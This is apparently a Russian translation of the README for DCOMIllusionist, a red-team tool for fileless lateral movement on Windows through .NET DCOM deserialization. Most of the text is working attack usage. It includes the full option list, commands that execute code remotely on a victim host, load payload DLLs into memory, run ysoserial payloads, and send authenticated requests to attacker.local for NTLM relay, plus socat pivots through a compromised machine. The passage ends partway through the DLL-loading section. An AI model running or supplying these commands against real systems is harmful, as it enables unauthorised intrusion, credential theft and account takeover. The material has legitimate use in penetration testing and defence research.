
DCOM в памяти и бесфайловые техники латерального перемещения через .Net десериализацию
Техника бесфайлового бокового перемещения в Windows.
Введение • Сборка • Использование • Технические подробности • Благодарности
Этот инструмент позволяет выполнять удалённый код на машине Windows при наличии административных привилегий. Он использует DCOM и особенность .NET DCOM-серверов, которые автоматически десериализуют входящие объекты. Это даёт возможность выполнять произвольные команды или загружать DLL без записи на диск.
Изначально обнаруженный Джеймсом Форшоу как метод повышения привилегий, этот способ был адаптирован для бокового перемещения путём удалённого изменения определённых ключей реестра. Кроме того, он поддерживает эксплуатацию между сеансами через DCOM, позволяя выполнять произвольные команды в сеансе другого пользователя в контексте безопасности этого сеанса.
Инструмент работает на рабочих станциях и серверах, но для работы этой техники требуется сетевой доступ между целевой машиной и машиной, контролируемой атакующим.
Более подробно в этом разделе.
Доступен готовый релиз, либо можно собрать инструмент вручную:
PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64
PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>
[!IMPORTANT]
Для успешного использования этого инструмента требуются административные привилегии как на атакующем хосте (через повышенную оболочку), так и на целевой машине.
Usage:
DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)
Options:
-h, --help Show this help message and exit
-d, --debug Enable debug logging
-t, --target <value> Set the target hostname or IP
-p, --port <value> Set the target port (Default: 49765)
--clsid <value> Specify a CLSID (no curly braces)
--appid <value> Specify an AppID (no curly braces)
-s, --session <value> Provide a session identifier
-l --listen <host> Specify listener FQDN or IP
-g, --gadget <value> Specify gadget to use
--attacker-sid <value> Set the attacker's SID
--no-port-check Disable port availability check
--restore-backup <path> Restore registry from backup
--local-registry-only Only performs local registry modifications
--remote-registry-only Only performs remote registry modifications
--skip-local-registry-setup Skip local registry setup
--skip-remote-registry-setup Skip remote registry setup
--hku Perform remote registry operations on HKCU instead of HKLM
--fake-clsid Create fake CLSID with fake AppId
Attacks:
--ps-exec <args> Execute a command remotely using PSExec
--exec <cmd> Execute a command remotely
--exec-args <args> Args to pass to the command
--curl <url> Use curl-style web request payload
--file-write-src <src> File to write
--file-write-dst <dst> Destination path
--load-dll <path> Load a DLL into the remote process
--dll-class <value> Class in the DLL to execute (including namespace)
--dll-method <value> Static Method in the class to execute (Default: Run)
--yso-b64 <b64> Execute base64-encoded ysoserial payload
--test-network Check network access from target to attacker machine
--list-sessions List interactive sessions on the target
Examples:
DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2
CLSID:
BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge (Default)
2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead
AppId:
577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider (Default)
63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
06C792F8-6212-4F39-BF70-E8C0AC965C23 - User Account Control Settings (Interactive user)
D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory (Interactive user)
--sessionКак уже объяснялось, можно указать сеанс для выполнения произвольной команды в сеансе другого пользователя.
[!WARNING] Это работает только с AppID, настроенными на запуск от имени интерактивного пользователя. Данное поведение обрабатывается автоматически: нет необходимости указывать аргумент
--appid, поскольку инструмент по умолчанию использует AppID, связанный с Параметрами контроля учётных записей.
[!IMPORTANT] Работает только в том случае, если атакующая машина входит в домен; подробнее здесь.
--list-sessionsПоказывает список удалённых интерактивных и активных сеансов на целевой машине с помощью WTSEnumerateSessions.
--listenЕсли целевая машина не может напрямую подключиться к хосту атакующего, эксплуатация завершится неудачей. Однако можно указать промежуточную машину, к которой целевая система способна подключиться. С помощью таких инструментов, как socat, трафик затем можно перенаправить с этого промежуточного узла на хост атакующего.
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami
--attacker-sidПри запуске эксплойта из оболочки runas /netonly связанная учётная запись не может быть определена автоматически. Поэтому для успешной атаки необходимо явно указать её с помощью опции --attacker-sid.
--exec--exec можно использовать вместе с --exec-args для выполнения произвольных бинарных файлов на целевой машине:
PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"
[!NOTE]
--ps-exec— это просто обёртка над ним; то же самое можно сделать с помощью:--ps-exec calc
--curlCurl может быть полезен в сценариях межсеансовой эксплуатации. Если у вас есть административные привилегии на машине и, например, администратор домена активен в сеансе 3, можно инициировать аутентифицированный HTTP-запрос, полностью средствами .NET, от имени этого пользователя. Направив этот запрос на машину атакующего, на которой запущен ntlmrelayx.py, можно выполнить традиционные NTLM relay-атаки для компрометации пользователя.
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local
--load-dllМожно загрузить произвольную DLL полностью в память, не касаясь диска. Например: